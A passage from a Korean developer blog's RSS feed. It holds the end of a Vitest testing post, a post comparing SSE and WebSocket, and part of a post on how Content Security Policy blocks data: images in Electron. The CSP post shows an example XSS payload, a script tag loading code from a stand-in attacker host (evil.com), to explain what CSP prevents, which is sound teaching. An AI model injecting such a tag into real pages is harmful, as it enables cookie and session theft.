<p>그래서 목록 조회, 검색, 상태 변경, 실패 처리처럼 동작별로 테스트를 나눠서 작성했습니다.</p>
<hr>
<h2 id="테스트-코드를-작성하면서-느낀-점">테스트 코드를 작성하면서 느낀 점</h2>
<p>테스트 코드를 처음 작성할 때는 솔직히 조금 번거롭게 느껴졌습니다.</p>
<p>화면에서 직접 한 번 눌러보면 끝날 것 같은데, 그걸 코드로 다시 작성해야 하니까요.</p>
<p>하지만 기능이 많아질수록 테스트 코드의 장점이 보였습니다.</p>
<p>특히 기존 기능을 수정할 때 심리적인 부담이 줄었습니다.</p>
<pre><code class="language-txt">- 이 수정 때문에 목록 조회가 깨지지는 않았는지
- 검색 기능이 여전히 동작하는지
- 버튼 클릭 시 API 요청이 나가는지
- 실패 상황에서도 화면 흐름이 유지되는지</code></pre>
<p>이런 부분을 테스트가 대신 확인해주기 때문입니다.</p>
<p>테스트가 모든 버그를 막아주는 것은 아니지만, 적어도 기존에 보장하던 동작이 깨졌는지 빠르게 확인할 수 있습니다.</p>
<p>그리고 테스트를 작성하면서 느낀 가장 큰 점은, 테스트가 단순히 “성공하는 기능을 확인하는 코드”는 아니라는 것입니다.</p>
<p>오히려 실패했을 때 화면이 어떻게 버티는지 확인하는 코드에 더 가까울 때도 있었습니다.</p>
<hr>
<h3 id="정리">정리</h3>
<p>프론트엔드 단위 테스트 도구에는 Jest, Vitest, Mocha, Jasmine 등이 있고, React 컴포넌트 테스트에는 Testing Library를 함께 사용할 수 있습니다.</p>
<p>그중에서 저는 Vite + React + TypeScript 프로젝트와 가장 잘 맞는 Vitest를 선택했습니다.</p>
<p>Vitest는 Vite 설정과 잘 맞고, TypeScript/TSX 테스트가 편하며, Jest와 문법이 비슷해서 진입 장벽이 낮았습니다.</p>
<p>또한 <code>vi.fn()</code>, <code>vi.mock()</code>을 통해 API나 외부 의존성을 Mock으로 분리하기 쉬웠습니다.</p>
<p>제가 작성한 테스트의 핵심은 다음과 같습니다.</p>
<pre><code class="language-txt">- 화면 진입 시 필요한 데이터가 조회되는지
- 사용자의 클릭, 입력, 검색 동작이 정상적으로 처리되는지
- 상태 변경 같은 주요 기능이 의도한 요청으로 이어지는지
- API 실패 상황에서도 화면이 멈추지 않는지
- 실패 이후 필요한 복구 흐름이 실행되는지
- 외부 환경과 분리해서 화면 로직을 안정적으로 검증할 수 있는지</code></pre>
<p>테스트 코드는 단순히 오류를 찾기 위한 코드만은 아니라고 느꼈습니다.</p>
<p>기능이 어떤 동작을 보장해야 하는지 기록하는 문서이기도 하고, 나중에 코드를 수정할 때 안심할 수 있게 해주는 안전장치이기도 했습니다.</p>
<p>특히 실패 케이스 테스트는 “오류가 발생하지 않는지”를 보는 것이 아니라,
“오류가 발생해도 화면이 안전하게 버티는지”를 확인하는 테스트라고 생각했습니다.</p>
<p>그리고 수기로 하나씩 확인하면 오래 걸리는 주요 흐름도, 테스트 코드로 만들어두면 약 50초 안에 한 번에 점검할 수 있었습니다.</p>
<p>처음부터 모든 테스트를 완벽하게 작성할 필요는 없지만, 자주 수정되는 화면이나 중요한 사용자 흐름부터 하나씩 테스트를 추가해보는 것만으로도 유지보수에 꽤 도움이 된다고 느꼈습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[실시간 통신이라고 다 WebSocket을 써야 할까?
]]></title>
            <link>https://velog.io/@songyeonji_/%EC%8B%A4%EC%8B%9C%EA%B0%84-%ED%86%B5%EC%8B%A0%EC%9D%B4%EB%9D%BC%EA%B3%A0-%EB%8B%A4-WebSocket%EC%9D%84-%EC%8D%A8%EC%95%BC-%ED%95%A0%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/%EC%8B%A4%EC%8B%9C%EA%B0%84-%ED%86%B5%EC%8B%A0%EC%9D%B4%EB%9D%BC%EA%B3%A0-%EB%8B%A4-WebSocket%EC%9D%84-%EC%8D%A8%EC%95%BC-%ED%95%A0%EA%B9%8C</guid>
            <pubDate>Thu, 25 Jun 2026 13:49:14 GMT</pubDate>
            <description><![CDATA[<p>프론트엔드 개발을 하다 보면 한 번쯤 이런 요구사항을 만나게 됩니다.</p>
<blockquote>
<p>“새 알림이 오면 바로 화면에 보여주세요.”</p>
<p>“상태가 바뀌면 새로고침 없이 반영되게 해주세요.”</p>
<p>“채팅처럼 실시간으로 메시지가 오가야 해요.”</p>
<p>“AI 답변이 한 글자씩 출력되면 좋겠어요.”</p>
</blockquote>
<p>처음에는 이런 요구사항을 들으면 자연스럽게 <strong>WebSocket</strong>이 떠오릅니다.</p>
<p>“실시간이면 WebSocket 아닌가?”</p>
<p>저도 처음에는 이렇게 생각했습니다.</p>
<p>그런데 공부해보니 실시간 통신이라고 해서 전부 WebSocket을 써야 하는 건 아니었습니다.</p>
<p>상황에 따라서는 <strong>SSE(Server-Sent Events)</strong>가 더 단순하고, 더 적절한 선택이 될 수 있습니다.</p>
<p>이번 글에서는 SSE와 WebSocket이 어떻게 다른지, 어떤 상황에서 어떤 방식을 선택하면 좋은지 정리해보겠습니다.</p>
<h2 id="1-실시간-통신이-필요한-이유">1. 실시간 통신이 필요한 이유</h2>
<p>일반적인 웹 통신은 대부분 HTTP 요청과 응답 구조로 동작합니다.</p>
<p>클라이언트가 서버에 요청합니다.</p>
<pre><code>데이터 주세요.</code></pre><p>서버가 응답합니다.</p>
<pre><code>여기 있습니다.</code></pre><p><img src="https://velog.velcdn.com/images/songyeonji_/post/e34ffe3c-6fe8-4f4e-aa9e-60947dd50b18/image.png" alt=""></p>
<p>이 방식은 단순하고 안정적입니다.</p>
<p>하지만 서버의 데이터가 바뀌었을 때 클라이언트가 그 사실을 바로 알 수 없다는 문제가 있습니다.</p>
<p>예를 들어 승인 요청 목록 화면을 보고 있다고 가정해보겠습니다.</p>
<p>사용자는 현재 승인 목록을 보고 있습니다.</p>
<p>그런데 다른 사용자가 새로운 승인 요청을 등록했습니다.</p>
<p>서버에는 새로운 데이터가 생겼지만, 클라이언트 화면은 그대로입니다.</p>
<p>왜냐하면 클라이언트가 서버에 다시 요청하지 않았기 때문입니다.</p>
<p>이 문제를 해결하려면 클라이언트가 계속 서버에 물어보거나, 서버가 클라이언트에게 직접 알려줘야 합니다.</p>
<p>이때 자주 등장하는 방식이 다음 세 가지입니다.</p>
<table>
<thead>
<tr>
<th>방식</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>Polling</td>
<td>일정 시간마다 서버에 계속 물어보는 방식</td>
</tr>
<tr>
<td>SSE</td>
<td>서버가 클라이언트에게 이벤트를 보내는 방식</td>
</tr>
<tr>
<td>WebSocket</td>
<td>서버와 클라이언트가 서로 실시간으로 주고받는 방식</td>
</tr>
</tbody></table>
<hr>
<h2 id="2-먼저-polling부터-보면">2. 먼저 Polling부터 보면</h2>
<p>Polling은 가장 단순한 방식입니다.</p>
<pre><code>setInterval(() =&gt; {
fetch(&#39;/api/notifications&#39;);
},5000);</code></pre><p>5초마다 서버에 물어봅니다.</p>
<pre><code>새 알림 있어요?
새 알림 있어요?
새 알림 있어요?</code></pre><p>구현은 쉽습니다.</p>
<p>하지만 약간 귀찮은 친구처럼 계속 물어보는 구조입니다.</p>
<p>문제는 알림이 없어도 계속 요청을 보낸다는 점입니다.</p>
<p>서버 입장에서는 이렇게 느낄 수도 있습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/ea5b53e2-5d2f-450d-9ace-22c3b071c4ef/image.png" alt=""></p>
<pre><code>없다니까...
아직 없다니까...
아직도 없다니까...</code></pre><p>그리고 5초마다 요청한다면, 실제 데이터가 생겨도 최대 5초 늦게 화면에 반영될 수 있습니다.</p>
<p>그래서 실시간성이 더 필요하거나 불필요한 요청을 줄이고 싶다면 SSE나 WebSocket을 고려하게 됩니다.</p>
<hr>
<h2 id="3-sse란">3. SSE란?</h2>
<p>SSE는 <strong>Server-Sent Events</strong>의 약자입니다.</p>
<p>이름 그대로 서버가 보내는 이벤트입니다.</p>
<p>클라이언트가 서버에 한 번 연결을 열어두면, 서버는 연결을 유지하다가 필요한 시점에 데이터를 보내줍니다.</p>
<pre><code>클라이언트 → 서버 : 연결할게요.
서버 → 클라이언트 : 새 알림이 있습니다.
서버 → 클라이언트 : 상태가 변경되었습니다.
서버 → 클라이언트 : 작업이 완료되었습니다.</code></pre><p>여기서 중요한 점은 SSE가 <strong>단방향 통신</strong>이라는 것입니다.</p>
<p>즉, 기본 흐름은 이렇습니다.</p>
<pre><code>서버 → 클라이언트</code></pre><p>클라이언트는 서버가 보내주는 이벤트를 받습니다.</p>
<p>하지만 같은 연결로 서버에게 메시지를 보내지는 않습니다.</p>
<p>프론트엔드에서는 <code>EventSource</code>를 사용합니다.</p>
<pre><code>consteventSource=newEventSource(&#39;/api/events&#39;);

eventSource.onmessage= (event) =&gt; {
constdata=JSON.parse(event.data);
console.log(data);
};</code></pre><p>코드만 보면 꽤 간단합니다.</p>
<p>SSE는 쉽게 말해 <strong>라디오 방송</strong>에 가깝습니다.</p>
<p>방송국이 말을 합니다.</p>
<p>청취자는 듣습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/02d72e72-9184-4651-9b8f-7046401981c6/image.png" alt=""></p>
<pre><code>방송국 → 청취자
서버 → 클라이언트</code></pre><p>서버가 “새 알림 왔어요”, “상태 바뀌었어요”, “진행률 80%예요”라고 알려주면 클라이언트는 그것을 받아서 화면에 반영합니다.</p>
<hr>
<h2 id="4-websocket이란">4. WebSocket이란?</h2>
<p>WebSocket은 서버와 클라이언트가 하나의 연결을 유지하면서 <strong>양방향으로 데이터를 주고받는 방식</strong>입니다.</p>
<pre><code>클라이언트 → 서버 : 채팅방 들어갈게요.
서버 → 클라이언트 : 입장 완료입니다.
클라이언트 → 서버 : 메시지 보낼게요.
서버 → 클라이언트 : 새 메시지가 도착했습니다.</code></pre><p>핵심은 양방향입니다.</p>
<pre><code>서버 ↔ 클라이언트</code></pre><p>클라이언트도 서버에게 메시지를 보낼 수 있고, 서버도 클라이언트에게 메시지를 보낼 수 있습니다.</p>
<p>프론트엔드에서는 이렇게 사용할 수 있습니다.</p>
<pre><code>constsocket=newWebSocket(&#39;wss://example.com/socket&#39;);

socket.onopen= () =&gt; {
socket.send(JSON.stringify({
    type:&#39;JOIN_ROOM&#39;,
    roomId:1,
  }));
};

socket.onmessage= (event) =&gt; {
constdata=JSON.parse(event.data);
console.log(data);
};</code></pre><p>WebSocket은 쉽게 말해 <strong>전화 통화</strong>에 가깝습니다.</p>
<p>나도 말하고, 상대방도 말합니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/a3c4fb63-7cc3-4596-8ac1-20e6e3ca1994/image.png" alt=""></p>
<pre><code>나 ↔ 상대방
클라이언트 ↔ 서버</code></pre><p>그래서 채팅, 게임, 협업 편집처럼 서로 계속 데이터를 주고받아야 하는 기능에 잘 맞습니다.</p>
<hr>
<h2 id="5-sse와-websocket-비교표">5. SSE와 WebSocket 비교표</h2>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/a9afa54a-e0d2-48db-a535-248ef34029e5/image.png" alt=""></p>
<p>두 기술의 차이를 표로 정리하면 다음과 같습니다.</p>
<table>
<thead>
<tr>
<th>구분</th>
<th>SSE</th>
<th>WebSocket</th>
</tr>
</thead>
<tbody><tr>
<td>정식 명칭</td>
<td>Server-Sent Events</td>
<td>WebSocket</td>
</tr>
<tr>
<td>통신 방향</td>
<td>단방향</td>
<td>양방향</td>
</tr>
<tr>
<td>데이터 흐름</td>
<td>서버 → 클라이언트</td>
<td>서버 ↔ 클라이언트</td>
</tr>
<tr>
<td>브라우저 API</td>
<td>EventSource</td>
<td>WebSocket</td>
</tr>
<tr>
<td>기반</td>
<td>HTTP</td>
<td>WebSocket Protocol</td>
</tr>
<tr>
<td>구현 난이도</td>
<td>비교적 쉬움</td>
<td>상대적으로 복잡</td>
</tr>
<tr>
<td>자동 재연결</td>
<td>기본 지원</td>
<td>직접 구현 필요</td>
</tr>
<tr>
<td>클라이언트 → 서버 전송</td>
<td>별도 HTTP 요청 필요</td>
<td>같은 연결에서 가능</td>
</tr>
<tr>
<td>데이터 형식</td>
<td>주로 텍스트</td>
<td>텍스트, 바이너리 가능</td>
</tr>
<tr>
<td>적합한 기능</td>
<td>알림, 상태 변경, 진행률, 로그</td>
<td>채팅, 게임, 협업 편집</td>
</tr>
<tr>
<td>운영 복잡도</td>
<td>낮은 편</td>
<td>높은 편</td>
</tr>
</tbody></table>
<p>표만 보면 WebSocket이 더 강력해 보입니다.</p>
<p>양방향도 되고, 데이터 형식도 자유롭고, 다양한 기능을 만들 수 있기 때문입니다.</p>
<p>하지만 강력하다고 항상 좋은 선택은 아닙니다.</p>
<p>칼이 좋다고 해서 종이 한 장 자를 때도 꼭 식칼을 꺼낼 필요는 없습니다.</p>
<p>요구사항에 맞는 도구를 쓰는 것이 더 중요합니다.</p>
<hr>
<h2 id="6-실제로-어디에-쓰일까">6. 실제로 어디에 쓰일까?</h2>
<p>개념만 보면 조금 추상적입니다.</p>
<p>그래서 실제 사용 사례를 보면 이해가 더 쉽습니다.</p>
<h3 id="sse가-잘-어울리는-경우">SSE가 잘 어울리는 경우</h3>
<p>SSE는 서버가 클라이언트에게 정보를 알려주기만 하면 되는 기능에 잘 맞습니다.</p>
<p>예를 들면 이런 기능입니다.</p>
<table>
<thead>
<tr>
<th>기능</th>
<th>SSE가 어울리는 이유</th>
</tr>
</thead>
<tbody><tr>
<td>알림</td>
<td>서버가 새 알림을 보내주면 됨</td>
</tr>
<tr>
<td>승인 상태 변경</td>
<td>상태가 바뀔 때 서버가 알려주면 됨</td>
</tr>
<tr>
<td>파일 처리 진행률</td>
<td>서버가 진행률을 계속 보내주면 됨</td>
</tr>
<tr>
<td>실시간 로그</td>
<td>서버 로그를 클라이언트가 받기만 하면 됨</td>
</tr>
<tr>
<td>AI 응답 스트리밍</td>
<td>서버가 생성된 응답을 순차적으로 보내면 됨</td>
</tr>
</tbody></table>
<p>예를 들어 AI 답변 스트리밍을 생각해볼 수 있습니다.</p>
<p>사용자가 질문을 보냅니다.</p>
<p>그다음 서버는 생성된 답변을 조금씩 내려보냅니다.</p>
<pre><code>서버 → 클라이언트 : 안녕하세요.
서버 → 클라이언트 : 요청하신 내용을
서버 → 클라이언트 : 아래와 같이
서버 → 클라이언트 : 정리해드리겠습니다.</code></pre><p>클라이언트는 서버에게 계속 말할 필요가 없습니다.</p>
<p>처음 질문을 보낸 뒤에는 서버 응답을 받기만 하면 됩니다.</p>
<p>이런 구조에서는 WebSocket보다 SSE가 더 단순하고 자연스럽습니다.</p>
<hr>
<h3 id="websocket이-잘-어울리는-경우">WebSocket이 잘 어울리는 경우</h3>
<p>WebSocket은 서버와 클라이언트가 서로 계속 데이터를 주고받아야 하는 기능에 잘 맞습니다.</p>
<table>
<thead>
<tr>
<th>기능</th>
<th>WebSocket이 어울리는 이유</th>
</tr>
</thead>
<tbody><tr>
<td>채팅</td>
<td>사용자가 메시지를 보내고 서버가 다시 전달해야 함</td>
</tr>
<tr>
<td>실시간 게임</td>
<td>클라이언트 조작과 서버 상태가 계속 오가야 함</td>
</tr>
<tr>
<td>협업 문서 편집</td>
<td>여러 사용자의 수정 내용을 실시간 동기화해야 함</td>
</tr>
<tr>
<td>실시간 위치 공유</td>
<td>클라이언트 위치를 서버로 계속 보내야 함</td>
</tr>
<tr>
<td>타이핑 중 표시</td>
<td>사용자의 입력 상태를 서버에 계속 알려야 함</td>
</tr>
</tbody></table>
<p>예를 들어 채팅은 전형적인 WebSocket 사례입니다.</p>
<pre><code>사용자 A → 서버 : 안녕하세요.
서버 → 사용자 B : 사용자 A가 메시지를 보냈습니다.
사용자 B → 서버 : 반갑습니다.
서버 → 사용자 A : 사용자 B가 메시지를 보냈습니다.</code></pre><p>이 구조에서는 클라이언트도 서버에게 계속 메시지를 보내야 합니다.</p>
<p>그래서 SSE만으로는 부족하고 WebSocket이 더 적합합니다.</p>
<hr>
<h2 id="7-실제-회사나-서비스에서는-어떻게-쓸까">7. 실제 회사나 서비스에서는 어떻게 쓸까?</h2>
<p>SSE와 WebSocket은 실제 서비스에서도 많이 사용됩니다.</p>
<h3 id="sse-예시">SSE 예시</h3>
<p>AI 서비스의 응답 스트리밍은 SSE와 잘 어울리는 대표적인 사례입니다.</p>
<p>사용자가 질문을 보내면 서버가 답변을 한 번에 완성해서 내려주는 것이 아니라, 생성되는 토큰을 순차적으로 내려보냅니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/e5d38c05-ef5f-461e-9053-67550d7129ef/image.png" alt=""></p>
<p>그래서 화면에서는 답변이 실시간으로 작성되는 것처럼 보입니다.</p>
<p>이런 구조는 클라이언트가 서버에 계속 메시지를 보낼 필요가 없고, 서버가 생성한 결과를 클라이언트가 받기만 하면 되기 때문에 SSE와 잘 맞습니다.</p>
<p>또한 관리자 페이지의 알림, 서버 작업 진행률, 로그 스트리밍 같은 기능도 SSE를 적용하기 좋은 영역입니다.</p>
<hr>
<h3 id="websocket-예시">WebSocket 예시</h3>
<p>WebSocket은 채팅 서비스나 협업 서비스에서 많이 사용됩니다.</p>
<p>예를 들어 Discord 같은 채팅 기반 서비스는 실시간 메시지 송수신이 핵심입니다.</p>
<p>사용자가 메시지를 보내고, 서버는 그 메시지를 같은 채널에 있는 사용자들에게 즉시 전달해야 합니다.</p>
<p>Figma 같은 협업 도구도 WebSocket과 잘 어울리는 사례입니다.</p>
<p>여러 사용자가 동시에 같은 파일을 보고 수정하면, 한 사용자의 변경 사항이 다른 사용자 화면에도 거의 실시간으로 반영되어야 합니다.</p>
<p>이런 기능은 단순히 서버가 알려주기만 하는 구조가 아닙니다.</p>
<p>클라이언트의 입력과 서버의 상태가 계속 오가야 합니다.</p>
<p>그래서 WebSocket이 더 자연스럽습니다.</p>
<hr>
<h2 id="8-선택-기준을-질문으로-정리하기">8. 선택 기준을 질문으로 정리하기</h2>
<p>기술을 선택할 때는 “SSE가 좋은가요, WebSocket이 좋은가요?”보다</p>
<p>“내 기능은 어떤 데이터 흐름을 가지고 있나요?”라고 묻는 것이 더 좋습니다.</p>
<p>아래 질문으로 판단하면 조금 쉬워집니다.</p>
<hr>
<h4 id="q1-서버가-클라이언트에게-알려주기만-하면-되나요">Q1. 서버가 클라이언트에게 알려주기만 하면 되나요?</h4>
<p>그렇다면 SSE를 먼저 고려할 수 있습니다.</p>
<p>예시:</p>
<pre><code>새 알림
상태 변경
작업 진행률
실시간 로그
AI 응답 스트리밍</code></pre><p>이런 기능은 대부분 서버에서 클라이언트로 데이터가 흐릅니다.</p>
<pre><code>서버 → 클라이언트</code></pre><hr>
<h4 id="q2-클라이언트도-서버에게-실시간으로-계속-보내야-하나요">Q2. 클라이언트도 서버에게 실시간으로 계속 보내야 하나요?</h4>
<p>그렇다면 WebSocket이 더 적합합니다.</p>
<p>예시:</p>
<pre><code>채팅 메시지 전송
타이핑 중 표시
사용자 위치 전송
게임 조작 이벤트
협업 편집 내용 전송</code></pre><p>이런 기능은 서버와 클라이언트가 서로 데이터를 주고받습니다.</p>
<pre><code>서버 ↔ 클라이언트</code></pre><hr>
<h4 id="q3-실시간성이-아주-중요하지-않나요">Q3. 실시간성이 아주 중요하지 않나요?</h4>
<p>그렇다면 Polling도 충분할 수 있습니다.</p>
<p>예를 들어 30초마다 한 번 갱신되어도 괜찮은 관리자 통계 화면이라면 굳이 SSE나 WebSocket을 도입하지 않아도 됩니다.</p>
<p>무조건 실시간 기술을 붙인다고 좋은 구조가 되는 것은 아닙니다.</p>
<hr>
<h2 id="9-상황별-추천-정리">9. 상황별 추천 정리</h2>
<table>
<thead>
<tr>
<th>상황</th>
<th>추천 방식</th>
</tr>
</thead>
<tbody><tr>
<td>새 알림을 바로 보여주고 싶다</td>
<td>SSE</td>
</tr>
<tr>
<td>승인 상태 변경을 화면에 반영하고 싶다</td>
<td>SSE</td>
</tr>
<tr>
<td>파일 처리 진행률을 보여주고 싶다</td>
<td>SSE</td>
</tr>
<tr>
<td>AI 응답을 스트리밍하고 싶다</td>
<td>SSE</td>
</tr>
<tr>
<td>서버 로그를 실시간으로 보고 싶다</td>
<td>SSE</td>
</tr>
<tr>
<td>채팅을 만들어야 한다</td>
<td>WebSocket</td>
</tr>
<tr>
<td>사용자가 입력 중인지 보여줘야 한다</td>
<td>WebSocket</td>
</tr>
<tr>
<td>실시간 협업 편집이 필요하다</td>
<td>WebSocket</td>
</tr>
<tr>
<td>게임처럼 빠른 양방향 통신이 필요하다</td>
<td>WebSocket</td>
</tr>
<tr>
<td>10초~30초마다 갱신되어도 괜찮다</td>
<td>Polling</td>
</tr>
</tbody></table>
<hr>
<h2 id="10-프론트엔드-개발자-입장에서-느낀-차이">10. 프론트엔드 개발자 입장에서 느낀 차이</h2>
<p>공부하면서 가장 크게 느낀 점은, SSE와 WebSocket은 경쟁 관계라기보다 <strong>역할이 다른 기술</strong>이라는 점이었습니다.</p>
<p>처음에는 실시간 통신이라고 하면 WebSocket이 먼저 떠올랐습니다.</p>
<p>하지만 실제 요구사항을 보면 굳이 WebSocket까지 필요하지 않은 경우도 많았습니다.</p>
<p>예를 들어 알림이나 진행률처럼 서버가 알려주기만 하면 되는 기능은 SSE가 더 단순합니다.</p>
<pre><code>서버야, 바뀌는 거 있으면 알려줘.</code></pre><p>반대로 채팅이나 협업 편집처럼 클라이언트도 계속 서버에게 말해야 하는 기능은 WebSocket이 더 자연스럽습니다.</p>
<pre><code>서버야, 나도 계속 말할게. 너도 계속 알려줘.</code></pre><p>이렇게 생각하면 선택 기준이 꽤 명확해집니다.</p>
<p>SSE는 <strong>구독</strong>에 가깝고, WebSocket은 <strong>대화</strong>에 가깝습니다.</p>
<hr>
<h2 id="11-결론">11. 결론</h2>
<p>SSE와 WebSocket은 둘 다 실시간 기능을 구현할 때 사용할 수 있는 기술입니다.</p>
<p>하지만 두 기술은 목적이 다릅니다.</p>
<p>SSE는 서버에서 클라이언트로 이벤트를 보내는 단방향 통신입니다.</p>
<p>그래서 알림, 상태 변경, 작업 진행률, 로그 스트리밍, AI 응답 스트리밍처럼 서버 이벤트를 받기만 하면 되는 기능에 잘 어울립니다.</p>
<p>WebSocket은 서버와 클라이언트가 서로 메시지를 주고받는 양방향 통신입니다.</p>
<p>그래서 채팅, 게임, 협업 편집, 실시간 위치 공유처럼 클라이언트도 계속 서버에 데이터를 보내야 하는 기능에 적합합니다.</p>
<p>정리하면 이렇게 볼 수 있습니다.</p>
<blockquote>
<p>서버가 말하고 클라이언트가 듣기만 하면 SSE</p>
<p>서버와 클라이언트가 서로 대화해야 하면 WebSocket</p>
</blockquote>
<p>실시간 통신이라고 해서 무조건 WebSocket을 선택할 필요는 없습니다.</p>
<p>중요한 것은 기술 이름이 아니라 <strong>데이터가 어느 방향으로 흐르는지</strong>입니다.</p>
<p>이번에 SSE와 WebSocket을 비교하면서 느낀 점은, 기술 선택은 “더 좋아 보이는 것”을 고르는 일이 아니라 “현재 요구사항에 더 잘 맞는 것”을 고르는 일이라는 것이었습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[화면에서 이미지가 안 보인다면?]]></title>
            <link>https://velog.io/@songyeonji_/%ED%99%94%EB%A9%B4%EC%97%90%EC%84%9C-%EC%9D%B4%EB%AF%B8%EC%A7%80%EA%B0%80-%EC%95%88-%EB%B3%B4%EC%9D%B8%EB%8B%A4%EB%A9%B4</link>
            <guid>https://velog.io/@songyeonji_/%ED%99%94%EB%A9%B4%EC%97%90%EC%84%9C-%EC%9D%B4%EB%AF%B8%EC%A7%80%EA%B0%80-%EC%95%88-%EB%B3%B4%EC%9D%B8%EB%8B%A4%EB%A9%B4</guid>
            <pubDate>Thu, 02 Apr 2026 14:08:36 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/0253bb5f-6afe-4ba2-b304-48086ae70c4a/image.png" alt=""></p>
<h2 id="범인은-경로가-아니라-cspcontent-security-policy-입니다">범인은 경로가 아니라 <strong>CSP(Content Security Policy)</strong> 입니다</h2>
<p> 개발을 하다 보면 한 번쯤 이런 상황을 겪으셨을 겁니다.</p>
<blockquote>
<p>“파일도 있고, 경로도 맞는데 왜 이미지가 안 나오지…?”</p>
</blockquote>
<p>분명히 <code>dist-electron</code> 안에 파일도 있고,</p>
<p>상대 경로도 맞는데…</p>
<p>이미지가 안 보입니다.</p>
<p>이럴 때 대부분 이렇게 생각합니다.</p>
<pre><code>1. 경로 문제인가?
2. 빌드 문제인가?
3. asar 문제인가?</code></pre><p>그런데 의외로 진짜 원인은 따로 있습니다.</p>
<p>👉 <strong>CSP(Content Security Policy)</strong></p>
<p>오늘은 이 CSP가 무엇인지,</p>
<p>그리고 왜 Electron에서 자주 문제를 일으키는지</p>
<p>재밌고 쉽게 정리해보겠습니다.</p>
<hr>
<h1 id="csp-한-줄-정리">CSP 한 줄 정리</h1>
<blockquote>
<p><strong>“이 페이지에서 어떤 것만 실행해도 되는지 미리 정해두는 보안 규칙”</strong></p>
</blockquote>
<hr>
<h1 id="1-왜-이런-게-필요할까요">1. 왜 이런 게 필요할까요?</h1>
<p>웹에는 아주 유명한 공격이 하나 있습니다.</p>
<h2 id="xss-스크립트-삽입-공격">XSS (스크립트 삽입 공격)</h2>
<p>예를 들어 어떤 입력창에 이런 코드가 들어왔다고 가정해보겠습니다.</p>
<pre><code>&lt;scriptsrc=&quot;https://evil.com/hack.js&quot;&gt;&lt;/script&gt;</code></pre><p>CSP가 없다면 브라우저는 이렇게 생각합니다.</p>
<pre><code>오 스크립트네?
→ 실행</code></pre><p>결과는…?</p>
<ul>
<li>쿠키 탈취</li>
<li>세션 탈취</li>
<li>계정 해킹</li>
</ul>
<hr>
<h2 id="csp가-있으면">CSP가 있으면?</h2>
<pre><code>script-src &#39;self&#39;</code></pre><p>브라우저 판단:</p>
<table>
<thead>
<tr>
<th>검사</th>
<th>결과</th>
</tr>
</thead>
<tbody><tr>
<td>evil.com</td>
<td>우리 사이트 아님</td>
</tr>
<tr>
<td>허용 목록</td>
<td>없음</td>
</tr>
<tr>
<td>결과</td>
<td>❌ 차단</td>
</tr>
</tbody></table>
<p>👉 즉, <strong>허용된 것만 실행됩니다</strong></p>
<hr>
<h1 id="2-csp의-핵심-개념-이거-하나면-끝입니다">2. CSP의 핵심 개념 (이거 하나면 끝입니다)</h1>
<pre><code>CSP = 허용된 것만 된다</code></pre><hr>
<h1 id="3-csp는-어떻게-생겼을까요">3. CSP는 어떻게 생겼을까요?</h1>
<p>보통 HTML에 이렇게 들어갑니다.</p>
<pre><code>&lt;metahttp-equiv=&quot;Content-Security-Policy&quot;
content=&quot;default-src &#39;self&#39;&quot;&gt;</code></pre><p>이걸 해석하면</p>
<pre><code>&quot;우리 것만 써&quot;</code></pre><p>입니다.</p>
<hr>
<h1 id="4-주요-규칙-구조">4. 주요 규칙 구조</h1>
<p>CSP는 리소스별로 따로 설정할 수 있습니다.</p>
<table>
<thead>
<tr>
<th>규칙</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td>default-src</td>
<td>기본 규칙</td>
</tr>
<tr>
<td>script-src</td>
<td>JavaScript</td>
</tr>
<tr>
<td>img-src</td>
<td>이미지</td>
</tr>
<tr>
<td>style-src</td>
<td>CSS</td>
</tr>
<tr>
<td>connect-src</td>
<td>API / WebSocket</td>
</tr>
<tr>
<td>font-src</td>
<td>폰트</td>
</tr>
</tbody></table>
<hr>
<h1 id="5-허용-값-종류">5. 허용 값 종류</h1>
<table>
<thead>
<tr>
<th>값</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td>&#39;self&#39;</td>
<td>현재 앱</td>
</tr>
<tr>
<td>data:</td>
<td>base64 허용</td>
</tr>
<tr>
<td>https:</td>
<td>https 전체</td>
</tr>
<tr>
<td>&#39;none&#39;</td>
<td>전부 차단</td>
</tr>
<tr>
<td>&#39;unsafe-inline&#39;</td>
<td>inline 허용 (위험)</td>
</tr>
<tr>
<td>&#39;unsafe-eval&#39;</td>
<td>eval 허용 (위험)</td>
</tr>
</tbody></table>
<hr>
<h1 id="6-그럼-왜-내-이미지가-안-나왔을까요">6. 그럼 왜 내 이미지가 안 나왔을까요?</h1>
<p>여기서 핵심입니다.</p>
<h2 id="현재-상황">현재 상황</h2>
<pre><code>&lt;metacontent=&quot;default-src &#39;self&#39;&quot;&gt;</code></pre><p>그리고 코드</p>
<pre><code>&lt;imgsrc=&quot;data:image/png;base64,...&quot;/&gt;</code></pre><hr>
<h2 id="브라우저-내부-판단-과정">브라우저 내부 판단 과정</h2>
<table>
<thead>
<tr>
<th>단계</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>img-src 없음</td>
</tr>
<tr>
<td>2</td>
<td>default-src 사용</td>
</tr>
<tr>
<td>3</td>
<td>default-src = &#39;self&#39;</td>
</tr>
<tr>
<td>4</td>
<td>data:는 self 아님</td>
</tr>
<tr>
<td>5</td>
<td>❌ 차단</td>
</tr>
</tbody></table>
<hr>
<h2 id="콘솔-에러">콘솔 에러</h2>
<pre><code>Refused to load image because it violates CSP</code></pre><hr>
<h1 id="7-해결-방법">7. 해결 방법</h1>
<p>딱 한 줄입니다.</p>
<pre><code>img-src &#39;self&#39; data:</code></pre><hr>
<h2 id="수정-후">수정 후</h2>
<pre><code>&lt;metahttp-equiv=&quot;Content-Security-Policy&quot;
content=&quot;default-src &#39;self&#39;; img-src &#39;self&#39; data:;&quot;&gt;</code></pre><hr>
<h2 id="의미">의미</h2>
<table>
<thead>
<tr>
<th>규칙</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td>default-src &#39;self&#39;</td>
<td>기본은 우리 것만</td>
</tr>
<tr>
<td>img-src &#39;self&#39; data:</td>
